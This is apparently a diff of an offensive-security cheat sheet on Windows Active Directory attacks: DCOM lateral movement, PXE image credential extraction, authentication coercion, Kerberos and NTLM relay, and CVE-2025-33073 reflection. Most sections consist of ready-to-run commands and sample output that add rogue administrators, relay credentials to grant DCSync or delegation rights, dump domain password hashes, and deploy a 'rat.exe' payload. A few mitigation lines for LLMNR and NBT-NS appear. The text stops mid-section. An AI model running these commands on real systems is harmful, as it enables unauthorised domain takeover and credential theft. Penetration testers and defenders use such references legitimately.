PS> $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "$ComputerName"))
PS> $excel.RegisterXLL("EvilXLL.dll")
# Using Visio
$visio = [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.InvisibleApp", "$ComputerName"))
$visio.Addons.Add("C:\Windows\System32\cmd.exe").Run("/c calc")
```
## DCOM via ShellExecute
```ps1
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"10.10.10.1")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0)
```
## DCOM via ShellBrowserWindow
:warning: Windows 10 only, the object doesn't exists in Windows 7
```ps1
$com = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"10.10.10.1")
$obj = [System.Activator]::CreateInstance($com)
$obj.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0)
```
## References
* [Lateral movement via dcom: round 2 - enigma0x3 - January 23, 2017](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)
* [New lateral movement techniques abuse DCOM technology - Philip Tsukerman - Jan 25, 2018](https://www.cybereason.com/blog/dcom-lateral-movement-techniques)

View File

@@ -0,0 +1,54 @@
# Internal - PXE Boot Image
PXE allows a workstation to boot from the network by retrieving an operating system image from a server using TFTP (Trivial FTP) protocol. This boot over the network allows an attacker to fetch the image and interact with it.
- Press **[F8]** during the PXE boot to spawn an administrator console on the deployed machine.
- Press **[SHIFT+F10]** during the initial Windows setup process to bring up a system console, then add a local administrator or dump SAM/SYSTEM registry.
```powershell
net user hacker Password123! /add
net localgroup administrators /add hacker
```
- Extract the pre-boot image (wim files) using [PowerPXE.ps1 (https://github.com/wavestone-cdt/powerpxe)](https://github.com/wavestone-cdt/powerpxe) and dig through it to find default passwords and domain accounts.
```powershell
# Import the module
PS > Import-Module .\PowerPXE.ps1
# Start the exploit on the Ethernet interface
PS > Get-PXEcreds -InterfaceAlias Ethernet
PS > Get-PXECreds -InterfaceAlias « lab 0 »
# Wait for the DHCP to get an address
>> Get a valid IP address
>>> >>> DHCP proposal IP address: 192.168.22.101
>>> >>> DHCP Validation: DHCPACK
>>> >>> IP address configured: 192.168.22.101
# Extract BCD path from the DHCP response
>> Request BCD File path
>>> >>> BCD File path: \Tmp\x86x64{5AF4E332-C90A-4015-9BA2-F8A7C9FF04E6}.bcd
>>> >>> TFTP IP Address: 192.168.22.3
# Download the BCD file and extract wim files
>> Launch TFTP download
>>>> Transfer succeeded.
>> Parse the BCD file: conf.bcd
>>>> Identify wim file : \Boot\x86\Images\LiteTouchPE_x86.wim
>>>> Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim
>> Launch TFTP download
>>>> Transfer succeeded.
# Parse wim files to find interesting data
>> Open LiteTouchPE_x86.wim
>>>> Finding Bootstrap.ini
>>>> >>>> DeployRoot = \\LAB-MDT\DeploymentShare$
>>>> >>>> UserID = MdtService
>>>> >>>> UserPassword = Somepass1
```
## References
- [Attacks Against Windows PXE Boot Images - February 13th, 2018 - Thomas Elling](https://blog.netspi.com/attacks-against-windows-pxe-boot-images/)
- [COMPROMISSION DES POSTES DE TRAVAIL GRÂCE À LAPS ET PXE MISC n° 103 - mai 2019 - Rémi Escourrou, Cyprien Oger](https://connect.ed-diamond.com/MISC/MISC-103/Compromission-des-postes-de-travail-grace-a-LAPS-et-PXE)

View File

@@ -0,0 +1,151 @@
# Internal - Coerce
Coerce refers to forcing a target machine (usually with SYSTEM privileges) to authenticate to another machine.
## Signing
### Server Side Signing
| Operating System | SMB Signing | LDAP Signing |
| ------------------------------- | --- | --- |
| Windows Server 2019 DC | ✅ | ❌ |
| Windows Server 2022 DC pre 23H2 | ✅ | ❌ |
| Windows Server 2022 DC 23H2 | ✅ | ✅ |
| Windows Server 2025 DC | ✅ | ✅ |
| Windows Server 2019 Member | ❌ | - |
| Windows Server 2022 Member | ❌ | - |
| Windows Server 2025 Member | ❌ | - |
| Windows 10 | ❌ | - |
| Windows 11 23H2 | ❌ | - |
| Windows 11 24H2 | ✅ | - |
* Server-side SMB signing has been enabled on domain controllers
* Server-side SMB signing is still not required by default on non-DC Windows server
### EPA
* [zyn3rgy/RelayInformer](https://github.com/zyn3rgy/RelayInformer) - Python and BOF utilites to the determine EPA enforcement levels of popular NTLM relay targets from the offensive perspective.
```ps1
uv run relayinformer mssql --target 10.10.10.10 --user USER --password PASSWORD
uv run relayinformer http --url http://10.10.10.10/page --user USER --password PASSWORD
uv run relayinformer ldap --method BOTH --dc-ip 10.10.10.10 --user USER --password PASSWORD
uv run relayinformer ldap --method LDAPS --dc-ip 10.10.10.10 --user USER --password PASSWORD
```
| EPA Values | Description |
| ---------- | ----------- |
| Disabled / Never | You should generally be able to target with NTLM relay, regardless of the client's support for EPA or version of NTLM being used. |
| Allowed / Accepted / When Supported | You can theoretically conduct an NTLM relay but common relay scenarios will not work because standard coercion / poisoning techniques (mentioned above) will result in the addition of EPA-relevant AV pairs, indicating the clients support for EPA. |
| Required | NTLM relay should be prevented by validation of values provided in EPA-relevant AV pairs. |
## WebClient Service
* On Windows workstations, the WebClient service is installed by default.
* On Windows servers, it is not installed by default
**Enable WebClient**:
WebClient service can be enabled on the machine using several techniques:
* Mapping a WebDav server using `net` command : `net use ...`
* Typing anything into the explorer address bar that isn't a local file or directory
* Browsing to a directory or share that has a file with a `.searchConnector-ms` extension located inside.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">
<description>Microsoft Outlook</description>
<isSearchOnlyItem>false</isSearchOnlyItem>
<includeInStartMenuScope>true</includeInStartMenuScope>
<templateInfo>
<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
</templateInfo>
<simpleLocation>
<url>http://attacksystem/path</url>
</simpleLocation>
</searchConnectorDescription>
```
Check if the WebDav service is running
```ps1
nxc smb <ip> -u 'user' -p 'pass' -M webdav
```
## MS-RPRN - PrinterBug
**Tools**:
* [leechristensen/SpoolSample](https://github.com/leechristensen/SpoolSample) - PoC tool to coerce Windows hosts authenticate to other machines via the MS-RPRN RPC interface.
**Examples**:
```ps1
poetry run nxc smb 10.10.10.10/24 -u username -p password -M coerce_plus -o METHOD=PrinterBug
```
Checking if the Spooler Service is running.
```ps1
nxc smb <ip> -u 'user' -p 'pass' -M spooler
```
## MS-EFSR - PetitPotam
The tools use the LSARPC named pipe with interface `c681d488-d850-11d0-8c52-00c04fd90f7e` because it's more prevalent. But it's possible to trigger with the EFSRPC named pipe and interface `df1941c5-fe89-4e79-bf10-463657acf44d`.
**Tools**:
* [topotam/PetitPotam](https://github.com/topotam/PetitPotam) - PoC tool to coerce Windows hosts to authenticate to other machines via MS-EFSRPC EfsRpcOpenFileRaw or other functions.
**Examples**:
```ps1
poetry run nxc smb 10.10.10.10/24 -u username -p password -M coerce_plus -o METHOD=PetitPotam
```
## MS-DFSNM - DFS Coercion
DFS Coerce (MS-DFSNM abuse) is a technique to force a Windows system to authenticate to an attacker-controlled machine by abusing the DFS Namespace Management RPC interface.
**Tools**:
* [Wh04m1001/DFSCoerce](https://github.com/Wh04m1001/DFSCoerce) - PoC for MS-DFSNM coerce authentication using NetrDfsRemoveStdRoot and NetrDfsAddStdRoot methods.
**Examples**:
```ps1
python3 dfscoerce.py -u username -d domain.local 10.10.10.10 10.10.10.11
poetry run nxc smb 10.10.10.10/24 -u username -p password -M coerce_plus -o METHOD=DFSCoerce
```
## MS-WSP - WSP Coercion
* The `wsearch` service is only enabled by default on workstations, and has been disabled on servers since Server 2016.
* Only SMB connections can be coerced with WSP.
**Tools**:
* [slemire/WSPCoerce](https://github.com/slemire/WSPCoerce) - PoC to coerce authentication from Windows hosts using MS-WSP.
* [RedTeamPentesting/wspcoerce](https://github.com/RedTeamPentesting/wspcoerce) - wspcoerce coerces a Windows computer account via SMB to an arbitrary target using MS-WSP.
**Examples**:
```ps1
WSPCoerce.exe <target> <listener>
WSPCoerce.exe labsw1 172.23.10.109
WSPCoerce.exe labsw1 labsrv1
wspcoerce 'lab.redteam/rtpttest:test1234!@192.0.2.115' "file:////attacksystem/share"
ntlmrelayx.py -t "http://192.0.2.5/certsrv/" -debug -6 -smb2support --adcs
```
* Can't use an IP address for the target, use a short hostname only (no FQDN)
* Make sure to use a hostname or FQDN for the listener if you want to receive Kerberos auth
## References
* [Changes to SMB Signing Enforcement Defaults in Windows 24H2 - Michael Grafnetter - January 26, 2025](https://www.dsinternals.com/en/smb-signing-windows-server-2025-client-11-24h2-defaults/)
* [Less Praying More Relaying Enumerating EPA Enforcement for MSSQL and HTTPS - Nick Powers, Matt Creel - November 25, 2025](https://specterops.io/blog/2025/11/25/less-praying-more-relaying-enumerating-epa-enforcement-for-mssql-and-https/)
* [The Ultimate Guide to Windows Coercion Techniques in 2025 - RedTeam Pentesting - June 4, 2025](https://blog.redteam-pentesting.de/2025/windows-coercion/)

View File

@@ -0,0 +1,114 @@
# Internal - Kerberos Relay
## Kerberos Relay over HTTP
**Requirements**:
* Kerberos authentication for services without signing
HTTP through multicast poisoning (LLMNR)
* An attacker sets up an LLMNR poisoner on the multicast range.
* An HTTP client on the multicast range fails to resolve a hostname. This can happen because of a typo in a browser, a misconfiguration, but this can also be triggered by an attacker via WebDav coercion.
* The LLMNR poisoner indicates that the hostname resolves to the attackers machine. In the LLMNR response, the answer name differs from the query and corresponds to an arbitrary relay target.
* The victim performs a request on the attacker web server, which requires Kerberos authentication.
* The victim asks for a ST with the SPN of the relay target. It then sends the resulting AP-REQ to the attacker web server.
* The attacker extracts the AP-REQ and relays it to a service of the relay target.
**Example**: ESC8 with Kerberos Relay
```ps1
python3 Responder.py -I eth0 -N <PKI_SERVER_NETBIOS_NAME>
sudo python3 krbrelayx.py --target 'http://<PKI_SERVER>.<DOMAIN.LOCAL>/certsrv/' -ip <ATTACKER_IP> --adcs --template User -debug
```
## Kerberos Relay over DNS
Abuses the DNS Secure Dynamic Updates in Active Directory.
* [dirkjanm/mitm6](https://github.com/dirkjanm/mitm6)
* [dirkjanm/krbrelayx](https://github.com/dirkjanm/krbrelayx)
* [dirkjanm/PKINITtools](https://github.com/dirkjanm/PKINITtools)
**Steps**:
* The client queries for the Start Of Authority (SOA) record for its name, which indicates which server is authoritative for the domain the client is in.
* The server responds with the DNS server that is authorative, in this case the DC icorp-dc.internal.corp.
* The client attempts a dynamic update on the A record with their name in the zone internal.corp.
* This dynamic update is refused by the server because no authentication is provided.
* The client uses a TKEY query to negotiate a secret key for authenticated queries.
* The server answers with a TKEY Resource Record, which completes the authentication.
* The client sends the dynamic update again, but now accompanied by a TSIG record, which is a signature using the key established in steps 5 and 6.
* The server acknowledges the dynamic update. The new DNS record is now in place.
```ps1
# Example - Relay to ADCS - ESC8
sudo krbrelayx.py --target http://adscert.internal.corp/certsrv/ -ip 192.168.111.80 --victim icorp-w10.internal.corp --adcs --template Machine
sudo mitm6 --domain internal.corp --host-allowlist icorp-w10.internal.corp --relay adscert.internal.corp -v
python gettgtpkinit.py -pfx-base64 MIIRFQIBA..cut...lODSghScECP5hGFE3PXoz internal.corp/icorp-w10$ icorp-w10.ccache
```
## Kerberos Relay over SMB
Abuses the way SMB clients construct SPNs when asking for a ST.
* [cube0x0/KrbRelay](https://github.com/cube0x0/KrbRelay) - Framework for Kerberos relaying.
* [decoder-it/KrbRelayEx-RPC](https://github.com/decoder-it/KrbRelayEx-RPC) - Kerberos Relay and Forwarder for (Fake) RPC/DCOM MiTM Server.
```ps1
dnstool.py -u "DOMAIN.LOCAL\\user" -p "pass" -r "pki1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" -d "10.10.10.10" --action add "10.10.10.11" --tcp
petitpotam.py -u 'user' -p 'pass' -d DOMAIN.LOCAL 'pki1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' dc.domain.local
krbrelayx.py -t 'http://pki.domain.local/certsrv/certfnsh.asp' --adcs --template DomainController -v 'DC$'
gettgtpkinit.py -cert-pfx 'DC$.pfx' 'DOMAIN.LOCAL/DC$' DC.ccache
```
## Kerberos Reflection - CVE-2025-33073
Relay one machine to itself by using the `1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA` trick. Also, grants local admin privilege.
![reflective-kerberos-relay-attack](https://blog.redteam-pentesting.de/2025/reflective-kerberos-relay-attack/ReflectiveKerberosRelayAttackBlog_hu_4f4898429389ef25.webp)
* Add a DNS record for `[SERVERNAME] + 1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA` pointing to our IP address. It is also possible to compromise any vulnerable machine by registering `localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA`.
```ps1
dnstool.py -u 'domain.local\username' -p 'P@ssw0rd' 10.10.10.10 -a add -r target1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 198.51.100.27
# OR
pretender -i "vmnet2" --spoof "target1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA" --no-dhcp --no-timestamps
```
* Edit `krbrelayx/lib/servers/smbrelayserver.py` and remove these lines
```ps1
156: blob['tokenOid'] = '1.3.6.1.5.5.2'
157: blob['innerContextToken']['mechTypes'].extend([MechType(TypesMech['KRB5 - Kerberos 5']),
158: MechType(TypesMech['MS KRB5 - Microsoft Kerberos 5']),
159: MechType(TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'])])
```
* Start the relay to catch the callback from TARGET.
```ps1
krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
krbrelayx.py --target smb://target.lab.redteam -c whoam
```
* Trigger a callback from the server to `[SERVERNAME] + 1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA` using PetitPotam.
```ps1
nxc smb TARGET.domain.local -u username -p 'P@ssw0rd' -M coerce_plus -o M=Petitpotam LISTENER=target1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
# OR
petitpotam.py -d domain.local -u username -p 'password' "TARGET1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA" "TARGET.DOMAIN.LOCAL"
# OR
wspcoerce 'lab.redteam/user:password@target.lab.redteam' file:////target1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA/path
```
## References
* [A Look in the Mirror - The Reflective Kerberos Relay Attack - RedTeam Pentesting - June 11, 2025](https://blog.redteam-pentesting.de/2025/reflective-kerberos-relay-attack/)
* [Abusing multicast poisoning for pre-authenticated Kerberos relay over HTTP with Responder and krbrelayx - Quentin Roland - January 27, 2025](https://www.synacktiv.com/publications/abusing-multicast-poisoning-for-pre-authenticated-kerberos-relay-over-http-with)
* [From NTLM relay to Kerberos relay: Everything you need to know - Decoder - April 24, 2025](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)
* [NTLM reflection is dead, long live NTLM reflection! An in-depth analysis of CVE-2025-33073 - Wilfried Bécard and Guillaume André - June 11, 2025](https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025)
* [Relaying Kerberos over DNS using krbrelayx and mitm6 - Dirk-jan Mollema - February 22, 2022](https://dirkjanm.io/relaying-kerberos-over-dns-with-krbrelayx-and-mitm6/)
* [Relaying Kerberos over SMB using krbrelayx - Hugo Vincent - November 20, 2024](https://www.synacktiv.com/publications/relaying-kerberos-over-smb-using-krbrelayx)
* [Using Kerberos for Authentication Relay Attacks - James Forshaw - October 20, 2021](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
* [Windows Exploitation Tricks: Relaying DCOM Authentication - James Forshaw - October 20, 2021](https://googleprojectzero.blogspot.com/2021/10/windows-exploitation-tricks-relaying.html)

View File

@@ -0,0 +1,452 @@
# Internal - NTLM Relay
NTLMv1 and NTLMv2 can be relayed to connect to another machine.
| Hash | Hashcat | Attack method |
|-----------------------|---------|----------------------|
| LM | `3000` | crack/pass the hash |
| NTLM/NTHash | `1000` | crack/pass the hash |
| NTLMv1/Net-NTLMv1 | `5500` | crack/relay attack |
| NTLMv2/Net-NTLMv2 | `5600` | crack/relay attack |
Crack the hash with `hashcat`.
```powershell
hashcat -m 5600 -a 0 hash.txt crackstation.txt
```
## MS08-068 NTLM reflection
NTLM reflection vulnerability in the SMB protocolOnly targeting Windows 2000 to Windows Server 2008.
> This vulnerability allows an attacker to redirect an incoming SMB connection back to the machine it came from and then access the victim machine using the victims own credentials.
* <https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS08-068>
```powershell
msf > use exploit/windows/smb/smb_relay
msf exploit(smb_relay) > show targets
```
## LDAP signing not required and LDAP channel binding disabled
During security assessment, sometimes we don't have any account to perform the audit. Therefore we can inject ourselves into the Active Directory by performing NTLM relaying attack. For this technique three requirements are needed:
* LDAP signing not required (by default set to `Not required`)
* LDAP channel binding is disabled. (by default disabled)
* `ms-DS-MachineAccountQuota` needs to be at least at 1 for the account relayed (10 by default)
Then we can use a tool to poison `LLMNR`, `MDNS` and `NETBIOS` requests on the network such as `Responder` and use `ntlmrelayx` to add our computer.
```bash
# On first terminal
sudo ./Responder.py -I eth0 -wfrd -P -v
# On second terminal
sudo python ./ntlmrelayx.py -t ldaps://IP_DC --add-computer
```
It is required here to relay to LDAP over TLS because creating accounts is not allowed over an unencrypted connection.
## SMB Signing Disabled and IPv4
If a machine has `SMB signing`:`disabled`, it is possible to use Responder with Multirelay.py script to perform an `NTLMv2 hashes relay` and get a shell access on the machine. Also called **LLMNR/NBNS Poisoning**
1. Open the Responder.conf file and set the value of `SMB` and `HTTP` to `Off`.
```powershell
[Responder Core]
; Servers to start
...
SMB = Off # Turn this off
HTTP = Off # Turn this off
```
2. Run `python RunFinger.py -i IP_Range` to detect machine with `SMB signing`:`disabled`.
3. Run `python Responder.py -I <interface_card>`
4. Use a relay tool such as `ntlmrelayx` or `MultiRelay`
* `impacket-ntlmrelayx -tf targets.txt` to dump the SAM database of the targets in the list.
* `python MultiRelay.py -t <target_machine_IP> -u ALL`
5. ntlmrelayx can also act as a SOCK proxy with every compromised sessions.
```powershell
$ impacket-ntlmrelayx -tf /tmp/targets.txt -socks -smb2support
[*] Servers started, waiting for connections
Type help for list of commands
ntlmrelayx> socks
Protocol Target Username Port
-------- -------------- ------------------------ ----
MSSQL 192.168.48.230 VULNERABLE/ADMINISTRATOR 1433
SMB 192.168.48.230 CONTOSO/NORMALUSER1 445
MSSQL 192.168.48.230 CONTOSO/NORMALUSER1 1433
# You might need to select a target with "-t"
# smb://, mssql://, http://, https://, imap://, imaps://, ldap://, ldaps:// and smtp://
impacket-ntlmrelayx -t mssql://10.10.10.10 -socks -smb2support
impacket-ntlmrelayx -t smb://10.10.10.10 -socks -smb2support
# the socks proxy can then be used with your Impacket tools or netexec
$ proxychains impacket-smbclient //192.168.48.230/Users -U contoso/normaluser1
$ proxychains impacket-mssqlclient DOMAIN/USER@10.10.10.10 -windows-auth
$ proxychains netexec mssql 10.10.10.10 -u user -p '' -d DOMAIN -q "SELECT 1"
```
**Mitigations**:
* Disable LLMNR via group policy
```powershell
Open gpedit.msc and navigate to Computer Configuration > Administrative Templates > Network > DNS Client > Turn off multicast name resolution and set to Enabled
```
* Disable NBT-NS
```powershell
This can be achieved by navigating through the GUI to Network card > Properties > IPv4 > Advanced > WINS and then under "NetBIOS setting" select Disable NetBIOS over TCP/IP
```
## SMB Signing Disabled and IPv6
Since [MS16-077](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-077) the location of the WPAD file is no longer requested via broadcast protocols, but only via DNS.
```powershell
netexec smb $hosts --gen-relay-list relay.txt
# DNS takeover via IPv6, mitm6 will request an IPv6 address via DHCPv6
# -d is the domain name that we filter our request on - the attacked domain
# -i is the interface we have mitm6 listen on for events
mitm6 -i eth0 -d $domain
# spoofing WPAD and relaying NTLM credentials
impacket-ntlmrelayx -6 -wh $attacker_ip -of loot -tf relay.txt
impacket-ntlmrelayx -6 -wh $attacker_ip -l /tmp -socks -debug
# -ip is the interface you want the relay to run on
# -wh is for WPAD host, specifying your wpad file to serve
# -t is the target where you want to relay to.
impacket-ntlmrelayx -ip 10.10.10.1 -wh $attacker_ip -t ldaps://10.10.10.2
```
## Drop the MIC - CVE-2019-1040
> The CVE-2019-1040 vulnerability makes it possible to modify the NTLM authentication packets without invalidating the authentication, and thus enabling an attacker to remove the flags which would prevent relaying from SMB to LDAP
Check vulnerability with [cve-2019-1040-scanner](https://github.com/fox-it/cve-2019-1040-scanner)
```powershell
python2 scanMIC.py 'DOMAIN/USERNAME:PASSWORD@TARGET'
[*] CVE-2019-1040 scanner by @_dirkjan / Fox-IT - Based on impacket by SecureAuth
[*] Target TARGET is not vulnerable to CVE-2019-1040 (authentication was rejected)
```
* Using any AD account, connect over SMB to a victim Exchange server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant DCSync privileges to the attacker account. The attacker account can now use DCSync to dump all password hashes in AD
```powershell
TERM1> python printerbug.py testsegment.local/username@s2012exc.testsegment.local <attacker ip/hostname>
TERM2> ntlmrelayx.py --remove-mic --escalate-user ntu -t ldap://s2016dc.testsegment.local -smb2support
TERM1> secretsdump.py testsegment/ntu@s2016dc.testsegment.local -just-dc
```
* Using any AD account, connect over SMB to the victim server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant Resource Based Constrained Delegation privileges for the victim server to a computer account under the control of the attacker. The attacker can now authenticate as any user on the victim server.
```powershell
# create a new machine account
TERM1> ntlmrelayx.py -t ldaps://rlt-dc.relaytest.local --remove-mic --delegate-access -smb2support
TERM2> python printerbug.py relaytest.local/username@second-dc-server 10.0.2.6
TERM1> getST.py -spn host/second-dc-server.local 'relaytest.local/MACHINE$:PASSWORD' -impersonate DOMAIN_ADMIN_USER_NAME
# connect using the ticket
export KRB5CCNAME=DOMAIN_ADMIN_USER_NAME.ccache
secretsdump.py -k -no-pass second-dc-server.local -just-dc
```
## Drop the MIC 2 - CVE-2019-1166
> A tampering vulnerability exists in Microsoft Windows when a man-in-the-middle attacker is able to successfully bypass the NTLM MIC (Message Integrity Check) protection. An attacker who successfully exploited this vulnerability could gain the ability to downgrade NTLM security features. To exploit this vulnerability, the attacker would need to tamper with the NTLM exchange. The attacker could then modify flags of the NTLM packet without invalidating the signature.
* Unset the signing flags in the `NTLM_NEGOTIATE` message (`NTLMSSP_NEGOTIATE_ALWAYS_SIGN`, `NTLMSSP_NEGOTIATE_SIGN`)
* Inject a rogue msvAvFlag field in the `NTLM_CHALLENGE` message with a value of zeros
* Remove the MIC from the `NTLM_AUTHENTICATE` message
* Unset the following flags in the `NTLM_AUTHENTICATE` message: `NTLMSSP_NEGOTIATE_ALWAYS_SIGN`, `NTLMSSP_NEGOTIATE_SIGN`, `NEGOTIATE_KEY_EXCHANGE`, `NEGOTIATE_VERSION`.
```ps1
ntlmrelayx.py -t ldap://dc.domain.com --escalate-user 'youruser$' -smb2support --remove-mic --delegate-access
```
## Ghost Potato - CVE-2019-1384
Requirements:
* User must be a member of the local Administrators group
* User must be a member of the Backup Operators group
* Token must be elevated
Using a modified version of ntlmrelayx : <https://shenaniganslabs.io/files/impacket-ghostpotato.zip>
```powershell
ntlmrelayx -smb2support --no-smb-server --gpotato-startup rat.exe
```
## RemotePotato0 DCOM DCE RPC relay
> It abuses the DCOM activation service and trigger an NTLM authentication of the user currently logged on in the target machine
Requirements:
* a shell in session 0 (e.g. WinRm shell or SSH shell)
* a privileged user is logged on in the session 1 (e.g. a Domain Admin user)
```powershell
# https://github.com/antonioCoco/RemotePotato0/
Terminal> sudo socat TCP-LISTEN:135,fork,reuseaddr TCP:192.168.83.131:9998 & # Can be omitted for Windows Server <= 2016
Terminal> sudo ntlmrelayx.py -t ldap://192.168.83.135 --no-wcf-server --escalate-user winrm_user_1
Session0> RemotePotato0.exe -r 192.168.83.130 -p 9998 -s 2
Terminal> psexec.py 'LAB/winrm_user_1:Password123!@192.168.83.135'
```
## DNS Poisonning - Relay delegation with mitm6
Requirements:
* IPv6 enabled (Windows prefers IPV6 over IPv4)
* LDAP over TLS (LDAPS)
> ntlmrelayx relays the captured credentials to LDAP on the domain controller, uses that to create a new machine account, print the account's name and password and modifies the delegation rights of it.
```powershell
git clone https://github.com/fox-it/mitm6.git
cd /opt/tools/mitm6
pip install .
mitm6 -hw ws02 -d lab.local --ignore-nofqnd
# -d: the domain name that we filter our request on (the attacked domain)
# -i: the interface we have mitm6 listen on for events
# -hw: host whitelist
ntlmrelayx.py -ip 10.10.10.10 -t ldaps://dc01.lab.local -wh attacker-wpad
ntlmrelayx.py -ip 10.10.10.10 -t ldaps://dc01.lab.local -wh attacker-wpad --add-computer
# -ip: the interface you want the relay to run on
# -wh: WPAD host, specifying your wpad file to serve
# -t: the target where you want to relay to
# now granting delegation rights and then do a RBCD
ntlmrelayx.py -t ldaps://dc01.lab.local --delegate-access --no-smb-server -wh attacker-wpad
getST.py -spn cifs/target.lab.local lab.local/GENERATED\$ -impersonate Administrator
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass target.lab.local
```
## NTLM Reflection - CVE-2025-33073
* Add a DNS record for `[SERVERNAME] + 1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA` pointing to our IP address. It is also possible to compromise any vulnerable machine by registering `localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA`.
```ps1
dnstool.py -u 'domain.local\username' -p 'P@ssw0rd' 10.10.10.10 -a add -r target1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 198.51.100.27
# OR
pretender -i "vmnet2" --spoof "target1UWhR..." --no-dhcp --no-timestamps
```
* Start the relay to catch the callback from TARGET.
```ps1
ntlmrelayx.py -t smb://TARGET.domain.local -smb2support
ntlmrelayx.py -t smb://TARGET.domain.local -smb2support -c 'type C:\Users\Administrator\Desktop\flag.txt'
```
* Trigger a callback from the server to `[SERVERNAME] + 1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA` using PetitPotam.
```ps1
nxc smb TARGET.domain.local -u username -p 'P@ssw0rd' -M coerce_plus -o M=Petitpotam LISTENER=target1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
# OR
petitpotam.py -d domain.local -u username -p 'password' "TARGET1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA" "TARGET.DOMAIN.LOCAL"
```
## Relaying with WebDav Trick
> Example of exploitation where you can coerce machine accounts to authenticate to a host and combine it with Resource Based Constrained Delegation to gain elevated access. It allows attackers to elicit authentications made over HTTP instead of SMB
**Requirement**:
* WebClient service
**Exploitation**:
* Discover machines on the network with enabled WebClient service
```ps1
webclientservicescanner 'domain.local'/'user':'password'@'machine'
netexec smb 10.10.10.10 -d 'domain' -u 'user' -p 'password' -M webdav
GetWebDAVStatus.exe 'machine'
```
* Disable HTTP in Responder
```ps1
sudo vi /usr/share/responder/Responder.conf
```
* Generate a Windows machine name, e.g: "WIN-UBNW4FI3AP0"
```ps1
sudo responder -I eth0
```
* Prepare for RBCD against the DC
```ps1
python3 ntlmrelayx.py -t ldaps://dc --delegate-access -smb2support
```
* Trigger the authentication to relay to our nltmrelayx: `PetitPotam.exe WIN-UBNW4FI3AP0@80/test.txt 10.10.10.10`, the listener host must be specified with the FQDN or full netbios name like `logger.domain.local@80/test.txt`. Specifying the IP results in anonymous auth instead of System.
```ps1
# PrinterBug
dementor.py -d "DOMAIN" -u "USER" -p "PASSWORD" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "TARGET_IP"
SpoolSample.exe "TARGET_IP" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt"
# PetitPotam
Petitpotam.py "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "TARGET_IP"
Petitpotam.py -d "DOMAIN" -u "USER" -p "PASSWORD" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "TARGET_IP"
PetitPotam.exe "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "TARGET_IP"
```
* Use the created account to ask for a service ticket:
```ps1
.\Rubeus.exe hash /domain:purple.lab /user:WVLFLLKZ$ /password:'iUAL)l<i$;UzD7W'
.\Rubeus.exe s4u /user:WVLFLLKZ$ /aes256:E0B3D87B512C218D38FAFDBD8A2EC55C83044FD24B6D740140C329F248992D8F /impersonateuser:Administrator /msdsspn:host/pc1.purple.lab /altservice:cifs /nowrap /ptt
ls \\PC1.purple.lab\c$
# IP of PC1: 10.0.0.4
```
An alternative for the previous exploitation method is to register a **DNS entry** for the attack machine by yourself then trigger the coercion.
```ps1
python3 /opt/krbrelayx/dnstool.py -u lab.lan\\jdoe -p 'P@ssw0rd' -r attacker.lab.lan -a add -d 192.168.1.50 192.168.1.2
python3 /opt/PetitPotam.py -u jdoe -p 'P@ssw0rd' -d lab.lan attacker@80/test 192.168.1.3
```
## Man-in-the-middle RDP connections with pyrdp-mitm
* [GoSecure/pyrdp](https://github.com/GoSecure/pyrdp)
* [RDP Man-in-the-Middle Smile! Youre on Camera](https://www.gosecure.net/blog/2018/12/19/rdp-man-in-the-middle-smile-youre-on-camera)
**Usage**
```sh
